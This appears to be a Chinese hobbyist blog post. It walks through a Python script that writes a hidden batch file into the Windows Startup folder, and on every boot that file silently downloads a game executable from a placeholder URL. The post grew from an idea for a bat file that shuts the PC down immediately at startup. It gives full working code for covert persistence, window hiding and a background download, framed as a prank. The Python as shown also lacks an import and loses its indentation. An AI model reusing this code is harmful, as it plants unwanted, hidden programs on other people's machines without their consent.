源于我写Python脚本时的一个小想法,使用Python写一个自动创建bat文件的脚本,脚本的内容是shutdown -s -t 1
,实现开机即关机
3.0版本源代码
'''自动下载原神'''
# 定义要创建的.bat 文件的内容
bat_content = '''
set curpath=%~dp0
cd /d %curpath%
set exename=yuanshen.exe
set downurl=(替换为下载地址)
powershell curl -o "%exename%" "%downurl%"
'''
# 获取 "启动" 文件夹的路径
startup_path = os.path.join(os.getenv('APPDATA'), 'Microsoft', 'Windows', 'Start Menu', 'Programs', 'Startup')
# 获取 "启动" 文件夹的上一级目录
parent_path = os.path.dirname(startup_path)
# 指定要创建的.bat 文件的路径和文件名
bat_file_path = os.path.join(parent_path, 'genshin.bat')
# 创建并写入内容到.bat 文件
with open(bat_file_path, "w") as file:
file.write(bat_content)
'''vbs实现后台运行'''
# 定义要创建的.bat 文件的内容
vbs_content = '''
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "genshin.bat", 0
'''
# 获取 shell:startup 目录的路径
vbs_file_path = os.path.join(startup_path, 'run.vbs')
# 创建并写入内容到.bat 文件
with open(vbs_file_path, "w") as file:
file.write(vbs_content)
本来打算用vbs
来执行达到隐藏在后台偷偷下载的效果,但是发现这样的话bat
也得和vbs
在同一个文件夹下,不过这不是什么大问题,比如说我把bat
文件生成在“启动”文件夹的父目录下就可以了,但是还是有问题。
这个报错就很奇怪,是开机自启动vbs文件才会有的报错,如果我手动点击打开vbs就不会有报错会好好地在后台运行,这实在是太奇怪了。所以没办法,只能放弃vbs启动的方法,转而回到bat文件本身,我们在1.0上加上这两行代码
@echo off
%1(start /min cmd.exe /c %0 :&exit)
这段代码的含义如下:
@echo off
:关闭命令的回显,即执行后续命令时不在控制台显示命令本身。
%1(start /min cmd.exe /c %0 :&exit)
:这部分较为复杂。
%1
表示获取批处理文件运行时传递的第一个参数。
start /min cmd.exe /c %0
会以最小化窗口的方式启动一个新的命令提示符窗口,并在其中执行当前的批处理文件(%0
代表当前批处理文件)。
:&exit
通常用于分隔不同的命令,这里的 exit
是指执行完前面的命令后退出当前的命令提示符窗口。
总的来说,这段代码的作用可能是根据传递的参数以最小化窗口的方式启动新的命令提示符来执行当前批处理文件,并在执行后退出。但具体的功能和用途还需要结合整个批处理文件的上下文和使用场景来确定。
完整代码如下:
'''自动下载原神'''
# 定义要创建的.bat 文件的内容
bat_content = '''
@echo off
%1(start /min cmd.exe /c %0 :&exit)
set curpath=%~dp0
cd /d %curpath%
set exename=yuanshen.exe
set downurl=(替换为下载地址)
powershell curl -o "%exename%" "%downurl%"
'''
# 获取 shell:startup 目录的路径
startup_path = os.path.join(os.getenv('APPDATA'), 'Microsoft', 'Windows', 'Start Menu', 'Programs', 'Startup')
# 指定要创建的.bat 文件的路径和文件名
bat_file_path = os.path.join(startup_path, 'genshin.bat')
# 创建并写入内容到.bat 文件
with open(bat_file_path, "w") as file:
file.write(bat_content)
经过测试后,终于可以在开机之后自动执行并最小化窗口了